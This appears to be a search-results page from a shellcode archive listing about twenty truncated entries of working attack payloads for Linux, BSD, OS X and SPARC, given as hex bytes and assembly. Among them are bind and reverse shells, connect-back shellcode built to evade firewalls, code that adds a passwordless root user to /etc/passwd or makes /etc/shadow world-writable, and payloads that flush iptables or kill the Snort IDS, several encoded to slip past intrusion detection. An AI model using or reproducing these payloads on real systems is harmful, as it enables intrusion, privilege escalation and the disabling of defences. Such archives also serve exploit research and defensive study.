7625 matches found
linux/x86 portbind port 5074 toupper 226 bytes
No description provided by source. / Bindshell puerto 5074 TOUPPER EVASION 226 bytes Bindshell original: Matias Sedalo 92 bytes La binshell esta codificada usando 2 bytes para representar 1 byte original de la siguiente forma: byte original: 0xAB 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C byte...
linux/x86 add user t00r ENCRYPT 116 bytes
No description provided by source. / !!!!!! ANTI IDS SHELLCODE !!!!!! [email protected] 0x14abril0x7d2 !!!!! ENCRIPTADA !!!!! 116 bytes Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd !!!!! ENCRIPTADA !!!!! Para mas informacion Descargue...
linux/x86 chmod 666 shadow ENCRYPT 75 bytes
No description provided by source. / !!!!!! ANTI IDS SHELLCODE !!!!!! [email protected] 0x17abril0x7d2 !!!!! ENCRIPTADA !!!!! 75 bytes chmod 666 /etc/shadow !!!!! ENCRIPTADA !!!!! Para mas informacion Descargue http://www.shellcode.com.ar/Projects/JempiScodesversion.tgz !!!!!! ANTI IDS...
linux/x86 execve /bin/sh IA32 0xff-less 45 bytes
No description provided by source. / 0xff-less execve /bin/sh by anathema [email protected] / include stdio.h include stdlib.h unsigned char code = / Linux/IA32 0xff-less execve shellcode. / "\x89\xe6" / movl %esp, %esi / "\x83\xc6\x30" / addl $0x30, %esi / "\xb8\x2e\x62\x69\x6e" / movl...
linux/x86 symlink . /bin/sh 32 bytes
No description provided by source. /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+7,al...
linux/x86 iptables -F 45 bytes
No description provided by source. / 06/03/2003 45 bytes to flush iptables. execve/sbin/iptables -F by UnboundeD greetz to s0t4ipv6. / char shellcode = "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x66\x68\x2d\x46" // pushw $0x462d "\x89\xe6" // movl %esp,%esi "\x52" // pushl %edx...
linux/x86 kill snort 151 bytes
No description provided by source. / x86 linux "snort IDS" shutter shellcode size 151 By nob0dy // find your own reality / / char snortshuttershellcode = "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff" "\xff\x83\xc6\x0d\x31\xc9\xb1\x80\x80" "\x36\x01\x46\xe2\xfa\xea\x18\x2e\x74"...
linux/x86 xterm -ut -display [IP]:0 132 bytes
No description provided by source. / Linux/x86 execve of /usr/X11R6/bin/xterm -ut -display ip:0, exit 127.0.0.1 is an example, you must change it to a useful ip making a subrutine into the exploit? - you must not delete 'K' after ip:0 - / include stdio.h char shellcode =...
linux/x86 iptables -F 58 bytes
No description provided by source. / The shellcode flushs the iptables by running /sbin/iptables -F no exit greetz to zilion: man, my code is shorter! size = 58 bytes OS = Linux i386 written by /rootteam/dev0id www.sysworld.net BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+14,al...
openbsd/x86 portbind port 6969 148 bytes
No description provided by source. / shell on port 6969/tcp shellcode for OpenBSD by noir / include stdio.h long shellcode= 0x4151c931,0x51514151,0x61b0c031,0x078980cd, 0x4f88c931,0x0547c604,0x084f8902,0x0647c766, 0x106a391b,0x5004478d,0x5050078b,0x68b0c031,...
linux/x86 Reverse telnet 134 bytes
No description provided by source. / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi movl %eax,0x5b%esi movb $0xb,%al movl...
openbsd/x86 add user w00w00 112 bytes
No description provided by source. include string.h char shell= "\xeb\x2b\x5e\x31\xc0\x88\x46\x0b" "\x88\x46\x29\x50\xb0\x09\x50\x31" "\xc0\x56\x50\xb0\x05\xcd\x80\x89" "\xc3\x6a\x1d\x8d\x46\x0c\x50\x53" "\x50\x31\xc0\xb0\x04\xcd\x80\x31" "\xc0\xb0\x01\xcd\x80\xe8\xd0\xff"...
os-x/PPC execve /bin/sh 72 bytes
No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does execve/bin/sh; exit0; See ASM below. 72 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xcf" "\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"...
os-x/PPC reboot 28 bytes
No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does sync reboot; See ASM below. 28 Bytes. / char shellcode = "\x7c\x63\x1a\x79" "\x39\x40\x01\x70" "\x38\x0a\xfe\xb4" "\x44\xff\xff\x02" "\x60\x60\x60\x60" "\x38\x0a\xfe\xc7" "\x44\xff\xff\x02"; int main void asm"b...
freebsd/x86 connect 102 bytes
No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ; ; This is the FreeBSD...
freebsd/x86 execve /tmp/sh 34 bytes
No description provided by source. / FreeBSD shellcode - execve /tmp/sh Claes M. Nyberg 20020120 [email protected], [email protected] / / void main asm" xorl %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh pushl $0x706d742f push 'pmt/' /tmp movl %esp...
os-x/PPC setuid(0) + execve /bin/sh 88 bytes
No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does setuid0; execve/bin/sh; exit0; See ASM below. 88 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xdf" "\x7c\x68\x19\xae\x38\x0a\xfe\xa7...
linux/x86 eject /dev/cdrom 64 bytes
No description provided by source. / CDROM EJECTING CODE by lamagra .data .globl main .type main,@function start: setreuid 0, 0 xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $70,%al int $0x80 jmp 0x21 popl %esi movb %edx,10%esi leal %esi, %ebx open"/dev/cdrom",...
netbsd/x86 execve /bin/sh 68 bytes
No description provided by source. / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"...
linux/SPARC connect back 216 bytes
No description provided by source. / linux sparc connect back shellcode, because someone had to evade those firewalls. sigh / / OS : Linux Architecture : Sparc Type : Connect Back Lenght : 216 Bytes Listen-Port : 2313/TCP Default IP : 192.168.100.1 see how you'll change it at the end. null bytes...